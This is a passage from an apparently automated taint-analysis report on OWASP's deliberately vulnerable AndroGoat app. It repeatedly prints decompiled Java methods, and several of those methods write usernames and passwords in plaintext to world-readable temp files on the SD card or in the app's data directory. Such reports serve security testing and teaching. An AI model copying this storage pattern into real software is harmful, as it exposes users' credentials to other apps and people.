Method `owasp.sat.agoat.AccessControl1ViewActivity$onCreate$1.onClick()` :

```
    public final void onClick(android.view.View p2)
    {
        this.this$0.startService();
        return;
    }
```

Method `owasp.sat.agoat.AccessControl1ViewActivity.onCreate()` :

```
    protected void onCreate(android.os.Bundle p3)
    {
        super.onCreate(p3);
        this.setContentView(2131296283);
        ((android.widget.Button) this.findViewById(2131165257)).setOnClickListener(((android.view.View$OnClickListener) new
owasp.sat.agoat.AccessControl1ViewActivity$onCreate$1(this)));
        return;
    }
```

Method `owasp.sat.agoat.AccessControl1ViewActivity$onCreate$1.<init>()` :

```
    AccessControl1ViewActivity$onCreate$1(owasp.sat.agoat.AccessControl1ViewActivity p1)
    {
        this.this$0 = p1;
        return;
    }
```

Method `owasp.sat.agoat.AccessControl1ViewActivity.onCreate()` :

```
    protected void onCreate(android.os.Bundle p3)
    {
        super.onCreate(p3);
        this.setContentView(2131296283);
        ((android.widget.Button) this.findViewById(2131165257)).setOnClickListener(((android.view.View$OnClickListener) new
owasp.sat.agoat.AccessControl1ViewActivity$onCreate$1(this)));
        return;
```

```
    }
```

Method `android.support.v4.app.FragmentActivity.onCreate()` :

```
    protected void onCreate(android.os.Bundle p9)
    {
        int[] v1_0 = 0;
        this.mFragments.attachHost(0);
        super.onCreate(p9);
        android.support.v4.app.FragmentActivity$NonConfigurationInstances v0_2 =
((android.support.v4.app.FragmentActivity$NonConfigurationInstances) this.getLastNonConfigurationInstance());
        if (v0_2 != null) {
            this.mFragments.restoreLoaderNonConfig(v0_2.loaders);
        }
        if (p9 != null) {
            android.os.Parcelable vtmp2 = p9.getParcelable(android:support:fragments);
            if (v0_2 != null) {
                v1_0 = v0_2.fragments;
            }
            this.mFragments.restoreAllState(vtmp2, v1_0);
            if (p9.containsKey(android:support:next_request_index)) {
                this.mNextCandidateRequestIndex = p9.getInt(android:support:next_request_index);
                int[] v1_4 = p9.getIntArray(android:support:request_indicies);
                String[] v3_4 = p9.getStringArray(android:support:request_fragment_who);
                if ((v1_4 != null) && ((v3_4 != null) && (v1_4.length == v3_4.length))) {
                    this.mPendingFragmentActivityResults = new android.support.v4.util.SparseArrayCompat(v1_4.length);
                    int v4_3 = 0;
                    while (v4_3 < v1_4.length) {
                        this.mPendingFragmentActivityResults.put(v1_4[v4_3], v3_4[v4_3]);
                        v4_3++;
                    }
                } else {
                    android.util.Log.w(FragmentActivity, Invalid requestCode mapping in savedInstanceState.);
                }
            }
        }
        if (this.mPendingFragmentActivityResults == null) {
            this.mPendingFragmentActivityResults = new android.support.v4.util.SparseArrayCompat();
            this.mNextCandidateRequestIndex = 0;
        }
        this.mFragments.dispatchCreate();
        return;
    }
```

Method `android.support.v7.app.AppCompatActivity.onCreate()` :

```
    protected void onCreate(android.os.Bundle p5)
    {
        android.support.v7.app.AppCompatDelegate v0 = this.getDelegate();
        v0.installViewFactory();
        v0.onCreate(p5);
        if ((v0.applyDayNight()) && (this.mThemeId != 0)) {
            if (android.os.Build$VERSION.SDK_INT < 23) {
                this.setTheme(this.mThemeId);
            } else {
                this.onApplyThemeResource(this.getTheme(), this.mThemeId, 0);
            }
        }
        super.onCreate(p5);
        return;
    }
```

Method `owasp.sat.agoat.AccessControl1ViewActivity.onCreate()` :

```
    protected void onCreate(android.os.Bundle p3)
    {
        super.onCreate(p3);
        this.setContentView(2131296283);
```

```
        ((android.widget.Button) this.findViewById(2131165257)).setOnClickListener(((android.view.View$OnClickListener) new
owasp.sat.agoat.AccessControl1ViewActivity$onCreate$1(this)));
        return;
    }
```

### Finding #3

Input source is used to call sink method Taint traced from non-reachable component: `owasp.sat.agoat.InsecureStorageSDCardActivity$onCreate$1` found at `owasp.sat.agoat.InsecureStorageSDCardActivity` . From source `java.io.File android.os.Environment.getExternalStorageDirectory()` to sink `void java.io.FileWriter.<init>(java.io.File)` . Taint trace:

```
at java.io.FileWriter.<init>()
at owasp.sat.agoat.InsecureStorageSDCardActivity$onCreate$1.onClick()
at java.io.FileWriter.<init>()
at owasp.sat.agoat.InsecureStorageSDCardActivity$onCreate$1.onClick()
at owasp.sat.agoat.InsecureStorageSDCardActivity$onCreate$1.onClick()
```

Method `owasp.sat.agoat.InsecureStorageSDCardActivity$onCreate$1.onClick()` :

```
    public final void onClick(android.view.View p7)
    {
        try {
            java.io.IOException v0_1 = new StringBuilder();
            v0_1.append( This data is stored in SdCard on );
            v0_1.append(new java.util.Date());
            v0_1.append(:
 Username - );
            java.io.File v1_0 = this.$username;
            kotlin.jvm.internal.Intrinsics.checkExpressionValueIsNotNull(v1_0, username);
            v0_1.append(v1_0.getText().toString());
            v0_1.append( Password -);
            java.io.File v1_4 = this.$password;
            kotlin.jvm.internal.Intrinsics.checkExpressionValueIsNotNull(v1_4, password);
            v0_1.append(v1_4.getText().toString());
            v0_1.append(
);
            java.io.IOException v0_2 = v0_1.toString();
            android.content.Context v4_0 = android.os.Environment.getExternalStorageDirectory();
            kotlin.jvm.internal.Intrinsics.checkExpressionValueIsNotNull(v4_0, Environment.getExternalStorageDirectory());
            java.io.File v1_10 = java.io.File.createTempFile(users, tmp, new java.io.File(v4_0.getAbsolutePath()));
            android.widget.Toast v2_4 = new StringBuilder();
            v2_4.append(userinfo );
            v2_4.append(v1_10);
            System.out.println(v2_4.toString());
            v1_10.setReadable(1);
            v1_10.setWritable(1);
            java.io.FileWriter v3_5 = new java.io.FileWriter(v1_10);
            v3_5.write(v0_2);
            v3_5.close();
            android.widget.Toast.makeText(this.this$0.getApplicationContext(), ((CharSequence) Data saved), 1).show();
        } catch (java.io.IOException v0_3) {
            v0_3.printStackTrace();
        }
        return;
    }
```

Method `owasp.sat.agoat.InsecureStorageSDCardActivity$onCreate$1.onClick()` :

```
    public final void onClick(android.view.View p7)
    {
        try {
            java.io.IOException v0_1 = new StringBuilder();
            v0_1.append( This data is stored in SdCard on );
            v0_1.append(new java.util.Date());
            v0_1.append(:
 Username - );
            java.io.File v1_0 = this.$username;
            kotlin.jvm.internal.Intrinsics.checkExpressionValueIsNotNull(v1_0, username);
            v0_1.append(v1_0.getText().toString());
            v0_1.append( Password -);
```

```
            java.io.File v1_4 = this.$password;
            kotlin.jvm.internal.Intrinsics.checkExpressionValueIsNotNull(v1_4, password);
            v0_1.append(v1_4.getText().toString());
            v0_1.append(
);
            java.io.IOException v0_2 = v0_1.toString();
            android.content.Context v4_0 = android.os.Environment.getExternalStorageDirectory();
            kotlin.jvm.internal.Intrinsics.checkExpressionValueIsNotNull(v4_0, Environment.getExternalStorageDirectory());
            java.io.File v1_10 = java.io.File.createTempFile(users, tmp, new java.io.File(v4_0.getAbsolutePath()));
            android.widget.Toast v2_4 = new StringBuilder();
            v2_4.append(userinfo );
            v2_4.append(v1_10);
            System.out.println(v2_4.toString());
            v1_10.setReadable(1);
            v1_10.setWritable(1);
            java.io.FileWriter v3_5 = new java.io.FileWriter(v1_10);
            v3_5.write(v0_2);
            v3_5.close();
            android.widget.Toast.makeText(this.this$0.getApplicationContext(), ((CharSequence) Data saved), 1).show();
        } catch (java.io.IOException v0_3) {
            v0_3.printStackTrace();
        }
        return;
    }
```

Method `owasp.sat.agoat.InsecureStorageSDCardActivity$onCreate$1.onClick()` :

```
    public final void onClick(android.view.View p7)
    {
        try {
            java.io.IOException v0_1 = new StringBuilder();
            v0_1.append( This data is stored in SdCard on );
            v0_1.append(new java.util.Date());
            v0_1.append(:
 Username - );
            java.io.File v1_0 = this.$username;
            kotlin.jvm.internal.Intrinsics.checkExpressionValueIsNotNull(v1_0, username);
            v0_1.append(v1_0.getText().toString());
            v0_1.append( Password -);
            java.io.File v1_4 = this.$password;
            kotlin.jvm.internal.Intrinsics.checkExpressionValueIsNotNull(v1_4, password);
            v0_1.append(v1_4.getText().toString());
            v0_1.append(
);
            java.io.IOException v0_2 = v0_1.toString();
            android.content.Context v4_0 = android.os.Environment.getExternalStorageDirectory();
            kotlin.jvm.internal.Intrinsics.checkExpressionValueIsNotNull(v4_0, Environment.getExternalStorageDirectory());
            java.io.File v1_10 = java.io.File.createTempFile(users, tmp, new java.io.File(v4_0.getAbsolutePath()));
            android.widget.Toast v2_4 = new StringBuilder();
            v2_4.append(userinfo );
            v2_4.append(v1_10);
            System.out.println(v2_4.toString());
            v1_10.setReadable(1);
            v1_10.setWritable(1);
            java.io.FileWriter v3_5 = new java.io.FileWriter(v1_10);
            v3_5.write(v0_2);
            v3_5.close();
            android.widget.Toast.makeText(this.this$0.getApplicationContext(), ((CharSequence) Data saved), 1).show();
        } catch (java.io.IOException v0_3) {
            v0_3.printStackTrace();
        }
        return;
    }
```

### Finding #4

User controlled parameter is used call a sink method. Taint traced from non-reachable component: `owasp.sat.agoat.InsecureStorageSDCardActivity` found at `owasp.sat.agoat.InsecureStorageSDCardActivity` . From parameter `0` to sink `void java.io.FileWriter.<init>(java.io.File)` . Taint trace:

```
at java.io.FileWriter.<init>()
at owasp.sat.agoat.InsecureStorageSDCardActivity$onCreate$1.onClick()
at java.io.FileWriter.write()
at owasp.sat.agoat.InsecureStorageSDCardActivity$onCreate$1.onClick()
```

```
at owasp.sat.agoat.InsecureStorageSDCardActivity$onCreate$1.onClick()
at owasp.sat.agoat.InsecureStorageSDCardActivity$onCreate$1.onClick()
at owasp.sat.agoat.InsecureStorageSDCardActivity.onCreate()
at owasp.sat.agoat.InsecureStorageSDCardActivity$onCreate$1.<init>()
at owasp.sat.agoat.InsecureStorageSDCardActivity.onCreate()
at owasp.sat.agoat.InsecureStorageSDCardActivity.onCreate()
```

Method `owasp.sat.agoat.InsecureStorageSDCardActivity$onCreate$1.onClick()` :

```
    public final void onClick(android.view.View p7)
    {
        try {
            java.io.IOException v0_1 = new StringBuilder();
            v0_1.append( This data is stored in SdCard on );
            v0_1.append(new java.util.Date());
            v0_1.append(:
 Username - );
            java.io.File v1_0 = this.$username;
            kotlin.jvm.internal.Intrinsics.checkExpressionValueIsNotNull(v1_0, username);
            v0_1.append(v1_0.getText().toString());
            v0_1.append( Password -);
            java.io.File v1_4 = this.$password;
            kotlin.jvm.internal.Intrinsics.checkExpressionValueIsNotNull(v1_4, password);
            v0_1.append(v1_4.getText().toString());
            v0_1.append(
);
            java.io.IOException v0_2 = v0_1.toString();
            android.content.Context v4_0 = android.os.Environment.getExternalStorageDirectory();
            kotlin.jvm.internal.Intrinsics.checkExpressionValueIsNotNull(v4_0, Environment.getExternalStorageDirectory());
            java.io.File v1_10 = java.io.File.createTempFile(users, tmp, new java.io.File(v4_0.getAbsolutePath()));
            android.widget.Toast v2_4 = new StringBuilder();
            v2_4.append(userinfo );
            v2_4.append(v1_10);
            System.out.println(v2_4.toString());
            v1_10.setReadable(1);
            v1_10.setWritable(1);
            java.io.FileWriter v3_5 = new java.io.FileWriter(v1_10);
            v3_5.write(v0_2);
            v3_5.close();
            android.widget.Toast.makeText(this.this$0.getApplicationContext(), ((CharSequence) Data saved), 1).show();
        } catch (java.io.IOException v0_3) {
            v0_3.printStackTrace();
        }
        return;
    }
```

Method `owasp.sat.agoat.InsecureStorageSDCardActivity$onCreate$1.onClick()` :

```
    public final void onClick(android.view.View p7)
    {
        try {
            java.io.IOException v0_1 = new StringBuilder();
            v0_1.append( This data is stored in SdCard on );
            v0_1.append(new java.util.Date());
            v0_1.append(:
 Username - );
            java.io.File v1_0 = this.$username;
            kotlin.jvm.internal.Intrinsics.checkExpressionValueIsNotNull(v1_0, username);
            v0_1.append(v1_0.getText().toString());
            v0_1.append( Password -);
            java.io.File v1_4 = this.$password;
            kotlin.jvm.internal.Intrinsics.checkExpressionValueIsNotNull(v1_4, password);
            v0_1.append(v1_4.getText().toString());
            v0_1.append(
);
            java.io.IOException v0_2 = v0_1.toString();
            android.content.Context v4_0 = android.os.Environment.getExternalStorageDirectory();
            kotlin.jvm.internal.Intrinsics.checkExpressionValueIsNotNull(v4_0, Environment.getExternalStorageDirectory());
            java.io.File v1_10 = java.io.File.createTempFile(users, tmp, new java.io.File(v4_0.getAbsolutePath()));
            android.widget.Toast v2_4 = new StringBuilder();
            v2_4.append(userinfo );
            v2_4.append(v1_10);
            System.out.println(v2_4.toString());
            v1_10.setReadable(1);
```

```
            v1_10.setWritable(1);
            java.io.FileWriter v3_5 = new java.io.FileWriter(v1_10);
            v3_5.write(v0_2);
            v3_5.close();
            android.widget.Toast.makeText(this.this$0.getApplicationContext(), ((CharSequence) Data saved), 1).show();
        } catch (java.io.IOException v0_3) {
            v0_3.printStackTrace();
        }
        return;
    }
```

Method `owasp.sat.agoat.InsecureStorageSDCardActivity$onCreate$1.onClick()` :

```
    public final void onClick(android.view.View p7)
    {
        try {
            java.io.IOException v0_1 = new StringBuilder();
            v0_1.append( This data is stored in SdCard on );
            v0_1.append(new java.util.Date());
            v0_1.append(:
 Username - );
            java.io.File v1_0 = this.$username;
            kotlin.jvm.internal.Intrinsics.checkExpressionValueIsNotNull(v1_0, username);
            v0_1.append(v1_0.getText().toString());
            v0_1.append( Password -);
            java.io.File v1_4 = this.$password;
            kotlin.jvm.internal.Intrinsics.checkExpressionValueIsNotNull(v1_4, password);
            v0_1.append(v1_4.getText().toString());
            v0_1.append(
);
            java.io.IOException v0_2 = v0_1.toString();
            android.content.Context v4_0 = android.os.Environment.getExternalStorageDirectory();
            kotlin.jvm.internal.Intrinsics.checkExpressionValueIsNotNull(v4_0, Environment.getExternalStorageDirectory());
            java.io.File v1_10 = java.io.File.createTempFile(users, tmp, new java.io.File(v4_0.getAbsolutePath()));
            android.widget.Toast v2_4 = new StringBuilder();
            v2_4.append(userinfo );
            v2_4.append(v1_10);
            System.out.println(v2_4.toString());
            v1_10.setReadable(1);
            v1_10.setWritable(1);
            java.io.FileWriter v3_5 = new java.io.FileWriter(v1_10);
            v3_5.write(v0_2);
            v3_5.close();
            android.widget.Toast.makeText(this.this$0.getApplicationContext(), ((CharSequence) Data saved), 1).show();
        } catch (java.io.IOException v0_3) {
            v0_3.printStackTrace();
        }
        return;
    }
```

Method `owasp.sat.agoat.InsecureStorageSDCardActivity$onCreate$1.onClick()` :

```
    public final void onClick(android.view.View p7)
    {
        try {
            java.io.IOException v0_1 = new StringBuilder();
            v0_1.append( This data is stored in SdCard on );
            v0_1.append(new java.util.Date());
            v0_1.append(:
 Username - );
            java.io.File v1_0 = this.$username;
            kotlin.jvm.internal.Intrinsics.checkExpressionValueIsNotNull(v1_0, username);
            v0_1.append(v1_0.getText().toString());
            v0_1.append( Password -);
            java.io.File v1_4 = this.$password;
            kotlin.jvm.internal.Intrinsics.checkExpressionValueIsNotNull(v1_4, password);
            v0_1.append(v1_4.getText().toString());
            v0_1.append(
);
            java.io.IOException v0_2 = v0_1.toString();
            android.content.Context v4_0 = android.os.Environment.getExternalStorageDirectory();
            kotlin.jvm.internal.Intrinsics.checkExpressionValueIsNotNull(v4_0, Environment.getExternalStorageDirectory());
            java.io.File v1_10 = java.io.File.createTempFile(users, tmp, new java.io.File(v4_0.getAbsolutePath()));
```

```
            android.widget.Toast v2_4 = new StringBuilder();
            v2_4.append(userinfo );
            v2_4.append(v1_10);
            System.out.println(v2_4.toString());
            v1_10.setReadable(1);
            v1_10.setWritable(1);
            java.io.FileWriter v3_5 = new java.io.FileWriter(v1_10);
            v3_5.write(v0_2);
            v3_5.close();
            android.widget.Toast.makeText(this.this$0.getApplicationContext(), ((CharSequence) Data saved), 1).show();
        } catch (java.io.IOException v0_3) {
            v0_3.printStackTrace();
        }
        return;
    }
```

Method `owasp.sat.agoat.InsecureStorageSDCardActivity.onCreate()` :

```
    protected void onCreate(android.os.Bundle p5)
    {
        super.onCreate(p5);
        this.setContentView(2131296296);
        ((android.widget.Button) this.findViewById(2131165201)).setOnClickListener(((android.view.View$OnClickListener) new
owasp.sat.agoat.InsecureStorageSDCardActivity$onCreate$1(this, ((android.widget.EditText) this.findViewById(2131165369)),
((android.widget.EditText) this.findViewById(2131165303)))));
        return;
    }
```

Method `owasp.sat.agoat.InsecureStorageSDCardActivity$onCreate$1.<init>()` :

```
    InsecureStorageSDCardActivity$onCreate$1(owasp.sat.agoat.InsecureStorageSDCardActivity p1, android.widget.EditText p2,
android.widget.EditText p3)
    {
        this.this$0 = p1;
        this.$username = p2;
        this.$password = p3;
        return;
    }
```

Method `owasp.sat.agoat.InsecureStorageSDCardActivity.onCreate()` :

```
    protected void onCreate(android.os.Bundle p5)
    {
        super.onCreate(p5);
        this.setContentView(2131296296);
        ((android.widget.Button) this.findViewById(2131165201)).setOnClickListener(((android.view.View$OnClickListener) new
owasp.sat.agoat.InsecureStorageSDCardActivity$onCreate$1(this, ((android.widget.EditText) this.findViewById(2131165369)),
((android.widget.EditText) this.findViewById(2131165303)))));
        return;
    }
```

Method `owasp.sat.agoat.InsecureStorageSDCardActivity.onCreate()` :

```
    protected void onCreate(android.os.Bundle p5)
    {
        super.onCreate(p5);
        this.setContentView(2131296296);
        ((android.widget.Button) this.findViewById(2131165201)).setOnClickListener(((android.view.View$OnClickListener) new
owasp.sat.agoat.InsecureStorageSDCardActivity$onCreate$1(this, ((android.widget.EditText) this.findViewById(2131165369)),
((android.widget.EditText) this.findViewById(2131165303)))));
        return;
    }
```

Finding #5

Input source is used to call sink method Taint traced from non-reachable component: `owasp.sat.agoat.InsecureStorageSDCardActivity` found at `owasp.sat.agoat.InsecureStorageSDCardActivity` . From source `java.io.File android.os.Environment.getExternalStorageDirectory()` to sink `void java.io.FileWriter.<init>(java.io.File)` . Taint trace:

```
at java.io.FileWriter.<init>()
at owasp.sat.agoat.InsecureStorageSDCardActivity$onCreate$1.onClick()
at owasp.sat.agoat.InsecureStorageSDCardActivity$onCreate$1.onClick()
at owasp.sat.agoat.InsecureStorageSDCardActivity.onCreate()
```

Method `owasp.sat.agoat.InsecureStorageSDCardActivity$onCreate$1.onClick()` :

```
    public final void onClick(android.view.View p7)
    {
        try {
            java.io.IOException v0_1 = new StringBuilder();
            v0_1.append( This data is stored in SdCard on );
            v0_1.append(new java.util.Date());
            v0_1.append(:
 Username - );
            java.io.File v1_0 = this.$username;
            kotlin.jvm.internal.Intrinsics.checkExpressionValueIsNotNull(v1_0, username);
            v0_1.append(v1_0.getText().toString());
            v0_1.append( Password -);
            java.io.File v1_4 = this.$password;
            kotlin.jvm.internal.Intrinsics.checkExpressionValueIsNotNull(v1_4, password);
            v0_1.append(v1_4.getText().toString());
            v0_1.append(
);
            java.io.IOException v0_2 = v0_1.toString();
            android.content.Context v4_0 = android.os.Environment.getExternalStorageDirectory();
            kotlin.jvm.internal.Intrinsics.checkExpressionValueIsNotNull(v4_0, Environment.getExternalStorageDirectory());
            java.io.File v1_10 = java.io.File.createTempFile(users, tmp, new java.io.File(v4_0.getAbsolutePath()));
            android.widget.Toast v2_4 = new StringBuilder();
            v2_4.append(userinfo );
            v2_4.append(v1_10);
            System.out.println(v2_4.toString());
            v1_10.setReadable(1);
            v1_10.setWritable(1);
            java.io.FileWriter v3_5 = new java.io.FileWriter(v1_10);
            v3_5.write(v0_2);
            v3_5.close();
            android.widget.Toast.makeText(this.this$0.getApplicationContext(), ((CharSequence) Data saved), 1).show();
        } catch (java.io.IOException v0_3) {
            v0_3.printStackTrace();
        }
        return;
    }
```

Method `owasp.sat.agoat.InsecureStorageSDCardActivity$onCreate$1.onClick()` :

```
    public final void onClick(android.view.View p7)
    {
        try {
            java.io.IOException v0_1 = new StringBuilder();
            v0_1.append( This data is stored in SdCard on );
            v0_1.append(new java.util.Date());
            v0_1.append(:
 Username - );
            java.io.File v1_0 = this.$username;
            kotlin.jvm.internal.Intrinsics.checkExpressionValueIsNotNull(v1_0, username);
            v0_1.append(v1_0.getText().toString());
            v0_1.append( Password -);
            java.io.File v1_4 = this.$password;
            kotlin.jvm.internal.Intrinsics.checkExpressionValueIsNotNull(v1_4, password);
            v0_1.append(v1_4.getText().toString());
            v0_1.append(
);
            java.io.IOException v0_2 = v0_1.toString();
            android.content.Context v4_0 = android.os.Environment.getExternalStorageDirectory();
            kotlin.jvm.internal.Intrinsics.checkExpressionValueIsNotNull(v4_0, Environment.getExternalStorageDirectory());
```

```
            java.io.File v1_10 = java.io.File.createTempFile(users, tmp, new java.io.File(v4_0.getAbsolutePath()));
            android.widget.Toast v2_4 = new StringBuilder();
            v2_4.append(userinfo );
            v2_4.append(v1_10);
            System.out.println(v2_4.toString());
            v1_10.setReadable(1);
            v1_10.setWritable(1);
            java.io.FileWriter v3_5 = new java.io.FileWriter(v1_10);
            v3_5.write(v0_2);
            v3_5.close();
            android.widget.Toast.makeText(this.this$0.getApplicationContext(), ((CharSequence) Data saved), 1).show();
        } catch (java.io.IOException v0_3) {
            v0_3.printStackTrace();
        }
        return;
    }
```

Method `owasp.sat.agoat.InsecureStorageSDCardActivity.onCreate()` :

```
    protected void onCreate(android.os.Bundle p5)
    {
        super.onCreate(p5);
        this.setContentView(2131296296);
        ((android.widget.Button) this.findViewById(2131165201)).setOnClickListener(((android.view.View$OnClickListener) new
owasp.sat.agoat.InsecureStorageSDCardActivity$onCreate$1(this, ((android.widget.EditText) this.findViewById(2131165369)),
((android.widget.EditText) this.findViewById(2131165303)))));
        return;
    }
```

### Finding #6

Input source is used to call sink method Taint traced from non-reachable component: `owasp.sat.agoat.InsecureStorageSDCardActivity$onCreate$1` found at `owasp.sat.agoat.InsecureStorageSDCardActivity` . From source `java.io.File android.os.Environment.getExternalStorageDirectory()` to sink `void java.io.FileWriter.<init>(java.io.File)` . Taint trace:

```
at java.io.FileWriter.<init>()
at owasp.sat.agoat.InsecureStorageSDCardActivity$onCreate$1.onClick()
at owasp.sat.agoat.InsecureStorageSDCardActivity$onCreate$1.onClick()
```

Method `owasp.sat.agoat.InsecureStorageSDCardActivity$onCreate$1.onClick()` :

```
    public final void onClick(android.view.View p7)
    {
        try {
            java.io.IOException v0_1 = new StringBuilder();
            v0_1.append( This data is stored in SdCard on );
            v0_1.append(new java.util.Date());
            v0_1.append(:
 Username - );
            java.io.File v1_0 = this.$username;
            kotlin.jvm.internal.Intrinsics.checkExpressionValueIsNotNull(v1_0, username);
            v0_1.append(v1_0.getText().toString());
            v0_1.append( Password -);
            java.io.File v1_4 = this.$password;
            kotlin.jvm.internal.Intrinsics.checkExpressionValueIsNotNull(v1_4, password);
            v0_1.append(v1_4.getText().toString());
            v0_1.append(
);
            java.io.IOException v0_2 = v0_1.toString();
            android.content.Context v4_0 = android.os.Environment.getExternalStorageDirectory();
            kotlin.jvm.internal.Intrinsics.checkExpressionValueIsNotNull(v4_0, Environment.getExternalStorageDirectory());
            java.io.File v1_10 = java.io.File.createTempFile(users, tmp, new java.io.File(v4_0.getAbsolutePath()));
            android.widget.Toast v2_4 = new StringBuilder();
            v2_4.append(userinfo );
            v2_4.append(v1_10);
            System.out.println(v2_4.toString());
            v1_10.setReadable(1);
            v1_10.setWritable(1);
            java.io.FileWriter v3_5 = new java.io.FileWriter(v1_10);
            v3_5.write(v0_2);
```

```
            v3_5.close();
            android.widget.Toast.makeText(this.this$0.getApplicationContext(), ((CharSequence) Data saved), 1).show();
        } catch (java.io.IOException v0_3) {
            v0_3.printStackTrace();
        }
        return;
    }
```

Method `owasp.sat.agoat.InsecureStorageSDCardActivity$onCreate$1.onClick()` :

```
    public final void onClick(android.view.View p7)
    {
        try {
            java.io.IOException v0_1 = new StringBuilder();
            v0_1.append( This data is stored in SdCard on );
            v0_1.append(new java.util.Date());
            v0_1.append(:
 Username - );
            java.io.File v1_0 = this.$username;
            kotlin.jvm.internal.Intrinsics.checkExpressionValueIsNotNull(v1_0, username);
            v0_1.append(v1_0.getText().toString());
            v0_1.append( Password -);
            java.io.File v1_4 = this.$password;
            kotlin.jvm.internal.Intrinsics.checkExpressionValueIsNotNull(v1_4, password);
            v0_1.append(v1_4.getText().toString());
            v0_1.append(
);
            java.io.IOException v0_2 = v0_1.toString();
            android.content.Context v4_0 = android.os.Environment.getExternalStorageDirectory();
            kotlin.jvm.internal.Intrinsics.checkExpressionValueIsNotNull(v4_0, Environment.getExternalStorageDirectory());
            java.io.File v1_10 = java.io.File.createTempFile(users, tmp, new java.io.File(v4_0.getAbsolutePath()));
            android.widget.Toast v2_4 = new StringBuilder();
            v2_4.append(userinfo );
            v2_4.append(v1_10);
            System.out.println(v2_4.toString());
            v1_10.setReadable(1);
            v1_10.setWritable(1);
            java.io.FileWriter v3_5 = new java.io.FileWriter(v1_10);
            v3_5.write(v0_2);
            v3_5.close();
            android.widget.Toast.makeText(this.this$0.getApplicationContext(), ((CharSequence) Data saved), 1).show();
        } catch (java.io.IOException v0_3) {
            v0_3.printStackTrace();
        }
        return;
    }
```

### Finding #7

User controlled parameter is used call a sink method. Taint traced from non-reachable component: `owasp.sat.agoat.InsecureStorageTempActivity` found at `owasp.sat.agoat.InsecureStorageTempActivity` . From parameter `0` to sink `void java.io.FileWriter.<init>(java.io.File)` . Taint trace:

```
at java.io.FileWriter.<init>()
at owasp.sat.agoat.InsecureStorageTempActivity$onCreate$1.onClick()
at java.io.FileWriter.write()
at owasp.sat.agoat.InsecureStorageTempActivity$onCreate$1.onClick()
at owasp.sat.agoat.InsecureStorageTempActivity$onCreate$1.onClick()
at owasp.sat.agoat.InsecureStorageTempActivity$onCreate$1.onClick()
at owasp.sat.agoat.InsecureStorageTempActivity.onCreate()
at owasp.sat.agoat.InsecureStorageTempActivity$onCreate$1.<init>()
at owasp.sat.agoat.InsecureStorageTempActivity.onCreate()
at owasp.sat.agoat.InsecureStorageTempActivity.onCreate()
```

Method `owasp.sat.agoat.InsecureStorageTempActivity$onCreate$1.onClick()` :

```
    public final void onClick(android.view.View p8)
    {
        try {
            android.content.Context v2_0 = java.io.File.createTempFile(users, tmp, new java.io.File(this.this$0.getApplicationInfo().dataDir));
            v2_0.setReadable(1);
```

```
            v2_0.setWritable(1);
            CharSequence v3_1 = new java.io.FileWriter(v2_0);
            CharSequence v4_1 = new StringBuilder();
            v4_1.append(username is );
            String v5_1 = this.$username;
            kotlin.jvm.internal.Intrinsics.checkExpressionValueIsNotNull(v5_1, username);
            v4_1.append(v5_1.getText().toString());
            v4_1.append(
);
            v3_1.write(v4_1.toString());
            CharSequence v4_4 = new StringBuilder();
            v4_4.append(password is );
            String v5_5 = this.$password;
            kotlin.jvm.internal.Intrinsics.checkExpressionValueIsNotNull(v5_5, password);
            v4_4.append(v5_5.getText().toString());
            v4_4.append(
);
            v3_1.write(v4_4.toString());
            v3_1.close();
            android.widget.Toast.makeText(this.this$0.getApplicationContext(), ((CharSequence) Data saved), 1).show();
        } catch (Exception v0_5) {
            android.widget.Toast.makeText(this.this$0.getApplicationContext(), ((CharSequence) Data not saved), 1).show();
            v0_5.printStackTrace();
        }
        return;
    }
```

Method `owasp.sat.agoat.InsecureStorageTempActivity$onCreate$1.onClick()` :

```
    public final void onClick(android.view.View p8)
    {
        try {
            android.content.Context v2_0 = java.io.File.createTempFile(users, tmp, new java.io.File(this.this$0.getApplicationInfo().dataDir));
            v2_0.setReadable(1);
            v2_0.setWritable(1);
            CharSequence v3_1 = new java.io.FileWriter(v2_0);
            CharSequence v4_1 = new StringBuilder();
            v4_1.append(username is );
            String v5_1 = this.$username;
            kotlin.jvm.internal.Intrinsics.checkExpressionValueIsNotNull(v5_1, username);
            v4_1.append(v5_1.getText().toString());
            v4_1.append(
);
            v3_1.write(v4_1.toString());
            CharSequence v4_4 = new StringBuilder();
            v4_4.append(password is );
            String v5_5 = this.$password;
            kotlin.jvm.internal.Intrinsics.checkExpressionValueIsNotNull(v5_5, password);
            v4_4.append(v5_5.getText().toString());
            v4_4.append(
);
            v3_1.write(v4_4.toString());
            v3_1.close();
            android.widget.Toast.makeText(this.this$0.getApplicationContext(), ((CharSequence) Data saved), 1).show();
        } catch (Exception v0_5) {
            android.widget.Toast.makeText(this.this$0.getApplicationContext(), ((CharSequence) Data not saved), 1).show();
            v0_5.printStackTrace();
        }
        return;
    }
```

Method `owasp.sat.agoat.InsecureStorageTempActivity$onCreate$1.onClick()` :

```
    public final void onClick(android.view.View p8)
    {
        try {
            android.content.Context v2_0 = java.io.File.createTempFile(users, tmp, new java.io.File(this.this$0.getApplicationInfo().dataDir));
            v2_0.setReadable(1);
            v2_0.setWritable(1);
            CharSequence v3_1 = new java.io.FileWriter(v2_0);
            CharSequence v4_1 = new StringBuilder();
            v4_1.append(username is );
            String v5_1 = this.$username;
```

```
            kotlin.jvm.internal.Intrinsics.checkExpressionValueIsNotNull(v5_1, username);
            v4_1.append(v5_1.getText().toString());
            v4_1.append(
);
            v3_1.write(v4_1.toString());
            CharSequence v4_4 = new StringBuilder();
            v4_4.append(password is );
            String v5_5 = this.$password;
            kotlin.jvm.internal.Intrinsics.checkExpressionValueIsNotNull(v5_5, password);
            v4_4.append(v5_5.getText().toString());
            v4_4.append(
);
            v3_1.write(v4_4.toString());
            v3_1.close();
            android.widget.Toast.makeText(this.this$0.getApplicationContext(), ((CharSequence) Data saved), 1).show();
        } catch (Exception v0_5) {
            android.widget.Toast.makeText(this.this$0.getApplicationContext(), ((CharSequence) Data not saved), 1).show();
            v0_5.printStackTrace();
        }
        return;
    }
```

Method `owasp.sat.agoat.InsecureStorageTempActivity$onCreate$1.onClick()` :

```
    public final void onClick(android.view.View p8)
    {
        try {
            android.content.Context v2_0 = java.io.File.createTempFile(users, tmp, new java.io.File(this.this$0.getApplicationInfo().dataDir));
            v2_0.setReadable(1);
            v2_0.setWritable(1);
            CharSequence v3_1 = new java.io.FileWriter(v2_0);
            CharSequence v4_1 = new StringBuilder();
            v4_1.append(username is );
            String v5_1 = this.$username;
            kotlin.jvm.internal.Intrinsics.checkExpressionValueIsNotNull(v5_1, username);
            v4_1.append(v5_1.getText().toString());
            v4_1.append(
);
            v3_1.write(v4_1.toString());
            CharSequence v4_4 = new StringBuilder();
